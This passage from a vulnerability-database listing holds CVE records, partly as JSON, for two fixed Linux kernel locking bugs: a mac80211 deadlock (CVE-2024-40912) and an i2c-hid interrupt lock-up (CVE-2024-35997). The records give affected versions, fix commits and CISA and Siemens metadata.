Linux	Linux	Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < e51637e0c66a6f72d134d9f95daa47ea62b43c7e (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < 28ba44d680a30c51cf485a2f5a3b680e66ed3932 (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < e7e916d693dcb5a297f40312600a82475f2e63bc (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < d90bdff79f8e40adf889b5408bfcf521528b169f (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < 9c49b58b9a2bed707e7638576e54c4bccd97b9eb (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < 456bbb8a31e425177dc0e8d4f98728a560c20e81 (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < 47d176755d5c0baf284eff039560f8c1ba0ea485 (git) Affected: 1d147bfa64293b2723c4fec50922168658e613ba , < 44c06bbde6443de206b30f513100b5670b23fc5e (git) Affected: ad64b463d919a18be70b281efb135231169caf4a (git) Affected: 46a5a5493360f995b834eb3b828eb59da4604509 (git) Affected: a7ee1a84a81555b19ec3d02f104bfd70cf0b668a (git) Affected: 58d4310586466840dab77e56e53f4508853a5268 (git) Affected: fcb6d3c79824d350893edfa7b50d6ba1f670c4ec (git)
Linux	Linux	Affected: 3.14 Unaffected: 0 , < 3.14 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:57:42.045Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e51637e0c66a6f72d134d9f95daa47ea62b43c7e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/28ba44d680a30c51cf485a2f5a3b680e66ed3932"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e7e916d693dcb5a297f40312600a82475f2e63bc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d90bdff79f8e40adf889b5408bfcf521528b169f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9c49b58b9a2bed707e7638576e54c4bccd97b9eb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/456bbb8a31e425177dc0e8d4f98728a560c20e81"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/47d176755d5c0baf284eff039560f8c1ba0ea485"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/44c06bbde6443de206b30f513100b5670b23fc5e"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40912",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:05:59.270343Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:37.046Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:40.339Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/sta_info.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e51637e0c66a6f72d134d9f95daa47ea62b43c7e",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "28ba44d680a30c51cf485a2f5a3b680e66ed3932",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "e7e916d693dcb5a297f40312600a82475f2e63bc",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "d90bdff79f8e40adf889b5408bfcf521528b169f",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "9c49b58b9a2bed707e7638576e54c4bccd97b9eb",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "456bbb8a31e425177dc0e8d4f98728a560c20e81",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "47d176755d5c0baf284eff039560f8c1ba0ea485",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "lessThan": "44c06bbde6443de206b30f513100b5670b23fc5e",
              "status": "affected",
              "version": "1d147bfa64293b2723c4fec50922168658e613ba",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "ad64b463d919a18be70b281efb135231169caf4a",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "46a5a5493360f995b834eb3b828eb59da4604509",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a7ee1a84a81555b19ec3d02f104bfd70cf0b668a",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "58d4310586466840dab77e56e53f4508853a5268",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "fcb6d3c79824d350893edfa7b50d6ba1f670c4ec",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/sta_info.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.14"
            },
            {
              "lessThan": "3.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.2.56",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.4.84",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.10.34",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.12.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.13.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: Fix deadlock in ieee80211_sta_ps_deliver_wakeup()\n\nThe ieee80211_sta_ps_deliver_wakeup() function takes sta-\u003eps_lock to\nsynchronizes with ieee80211_tx_h_unicast_ps_buf() which is called from\nsoftirq context. However using only spin_lock() to get sta-\u003eps_lock in\nieee80211_sta_ps_deliver_wakeup() does not prevent softirq to execute\non this same CPU, to run ieee80211_tx_h_unicast_ps_buf() and try to\ntake this same lock ending in deadlock. Below is an example of rcu stall\nthat arises in such situation.\n\n rcu: INFO: rcu_sched self-detected stall on CPU\n rcu:    2-....: (42413413 ticks this GP) idle=b154/1/0x4000000000000000 softirq=1763/1765 fqs=21206996\n rcu:    (t=42586894 jiffies g=2057 q=362405 ncpus=4)\n CPU: 2 PID: 719 Comm: wpa_supplicant Tainted: G        W          6.4.0-02158-g1b062f552873 #742\n Hardware name: RPT (r1) (DT)\n pstate: 00000005 (nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : queued_spin_lock_slowpath+0x58/0x2d0\n lr : invoke_tx_handlers_early+0x5b4/0x5c0\n sp : ffff00001ef64660\n x29: ffff00001ef64660 x28: ffff000009bc1070 x27: ffff000009bc0ad8\n x26: ffff000009bc0900 x25: ffff00001ef647a8 x24: 0000000000000000\n x23: ffff000009bc0900 x22: ffff000009bc0900 x21: ffff00000ac0e000\n x20: ffff00000a279e00 x19: ffff00001ef646e8 x18: 0000000000000000\n x17: ffff800016468000 x16: ffff00001ef608c0 x15: 0010533c93f64f80\n x14: 0010395c9faa3946 x13: 0000000000000000 x12: 00000000fa83b2da\n x11: 000000012edeceea x10: ffff0000010fbe00 x9 : 0000000000895440\n x8 : 000000000010533c x7 : ffff00000ad8b740 x6 : ffff00000c350880\n x5 : 0000000000000007 x4 : 0000000000000001 x3 : 0000000000000000\n x2 : 0000000000000000 x1 : 0000000000000001 x0 : ffff00000ac0e0e8\n Call trace:\n  queued_spin_lock_slowpath+0x58/0x2d0\n  ieee80211_tx+0x80/0x12c\n  ieee80211_tx_pending+0x110/0x278\n  tasklet_action_common.constprop.0+0x10c/0x144\n  tasklet_action+0x20/0x28\n  _stext+0x11c/0x284\n  ____do_softirq+0xc/0x14\n  call_on_irq_stack+0x24/0x34\n  do_softirq_own_stack+0x18/0x20\n  do_softirq+0x74/0x7c\n  __local_bh_enable_ip+0xa0/0xa4\n  _ieee80211_wake_txqs+0x3b0/0x4b8\n  __ieee80211_wake_queue+0x12c/0x168\n  ieee80211_add_pending_skbs+0xec/0x138\n  ieee80211_sta_ps_deliver_wakeup+0x2a4/0x480\n  ieee80211_mps_sta_status_update.part.0+0xd8/0x11c\n  ieee80211_mps_sta_status_update+0x18/0x24\n  sta_apply_parameters+0x3bc/0x4c0\n  ieee80211_change_station+0x1b8/0x2dc\n  nl80211_set_station+0x444/0x49c\n  genl_family_rcv_msg_doit.isra.0+0xa4/0xfc\n  genl_rcv_msg+0x1b0/0x244\n  netlink_rcv_skb+0x38/0x10c\n  genl_rcv+0x34/0x48\n  netlink_unicast+0x254/0x2bc\n  netlink_sendmsg+0x190/0x3b4\n  ____sys_sendmsg+0x1e8/0x218\n  ___sys_sendmsg+0x68/0x8c\n  __sys_sendmsg+0x44/0x84\n  __arm64_sys_sendmsg+0x20/0x28\n  do_el0_svc+0x6c/0xe8\n  el0_svc+0x14/0x48\n  el0t_64_sync_handler+0xb0/0xb4\n  el0t_64_sync+0x14c/0x150\n\nUsing spin_lock_bh()/spin_unlock_bh() instead prevents softirq to raise\non the same CPU that is holding the lock."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:13.868Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e51637e0c66a6f72d134d9f95daa47ea62b43c7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/28ba44d680a30c51cf485a2f5a3b680e66ed3932"
        },
        {
          "url": "https://git.kernel.org/stable/c/e7e916d693dcb5a297f40312600a82475f2e63bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/d90bdff79f8e40adf889b5408bfcf521528b169f"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c49b58b9a2bed707e7638576e54c4bccd97b9eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/456bbb8a31e425177dc0e8d4f98728a560c20e81"
        },
        {
          "url": "https://git.kernel.org/stable/c/47d176755d5c0baf284eff039560f8c1ba0ea485"
        },
        {
          "url": "https://git.kernel.org/stable/c/44c06bbde6443de206b30f513100b5670b23fc5e"
        }
      ],
      "title": "wifi: mac80211: Fix deadlock in ieee80211_sta_ps_deliver_wakeup()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40912",
    "datePublished": "2024-07-12T12:20:50.488Z",
    "dateReserved": "2024-07-12T12:17:45.581Z",
    "dateUpdated": "2026-05-12T11:55:40.339Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35997 (GCVE-0-2024-35997)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

HID: i2c-hid: remove I2C_HID_READ_PENDING flag to prevent lock-up

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: i2c-hid: remove I2C_HID_READ_PENDING flag to prevent lock-up The flag I2C_HID_READ_PENDING is used to serialize I2C operations. However, this is not necessary, because I2C core already has its own locking for that. More importantly, this flag can cause a lock-up: if the flag is set in i2c_hid_xfer() and an interrupt happens, the interrupt handler (i2c_hid_irq) will check this flag and return immediately without doing anything, then the interrupt handler will be invoked again in an infinite loop. Since interrupt handler is an RT task, it takes over the CPU and the flag-clearing task never gets scheduled, thus we have a lock-up. Delete this unnecessary flag.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/21bfca822cfc1e717…
https://git.kernel.org/stable/c/c448a9fd50f77e8fb…
https://git.kernel.org/stable/c/5095b93021b899f54…
https://git.kernel.org/stable/c/b65fb50e04a95eec3…
https://git.kernel.org/stable/c/0561b65fbd53d3e78…
https://git.kernel.org/stable/c/29e94f295bad5be59…
https://git.kernel.org/stable/c/418c5575d56410c6e…
https://git.kernel.org/stable/c/9c0f59e47a90c54d0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 21bfca822cfc1e71796124e93b46e0d9fa584401 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < c448a9fd50f77e8fb9156ff64848aa4295eb3003 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 5095b93021b899f54c9355bebf36d78854c33a22 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < b65fb50e04a95eec34a9d1bc138454a98a5578d8 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 0561b65fbd53d3e788c5b0222d9112ca016fd6a1 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 29e94f295bad5be59cf4271a93e22cdcf5536722 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 418c5575d56410c6e186ab727bf32ae32447d497 (git) Affected: 4a200c3b9a40242652b5734630bdd0bcf3aca75f , < 9c0f59e47a90c54d0153f8ddc0f80d7a36207d0e (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "c448a9fd50f7",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "b65fb50e04a9",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5095b93021b8",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "21bfca822cfc",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "29e94f295bad",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "418c5575d564",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "9c0f59e47a90",
                "status": "affected",
                "version": "4a200c3b9a40",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "3.8"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "3.8",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
                "version": "4.19.313",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.275",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.216",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.158",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.90",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.30",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.9",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "0561b65fbd53",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35997",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-01-16T21:06:56.094266Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-16T21:08:33.482Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.481Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21bfca822cfc1e71796124e93b46e0d9fa584401"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c448a9fd50f77e8fb9156ff64848aa4295eb3003"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5095b93021b899f54c9355bebf36d78854c33a22"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b65fb50e04a95eec34a9d1bc138454a98a5578d8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0561b65fbd53d3e788c5b0222d9112ca016fd6a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/29e94f295bad5be59cf4271a93e22cdcf5536722"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/418c5575d56410c6e186ab727bf32ae32447d497"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9c0f59e47a90c54d0153f8ddc0f80d7a36207d0e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:32.225Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/i2c-hid/i2c-hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "21bfca822cfc1e71796124e93b46e0d9fa584401",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "c448a9fd50f77e8fb9156ff64848aa4295eb3003",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "5095b93021b899f54c9355bebf36d78854c33a22",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "b65fb50e04a95eec34a9d1bc138454a98a5578d8",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
            },
            {
              "lessThan": "0561b65fbd53d3e788c5b0222d9112ca016fd6a1",
              "status": "affected",
              "version": "4a200c3b9a40242652b5734630bdd0bcf3aca75f",
              "versionType": "git"
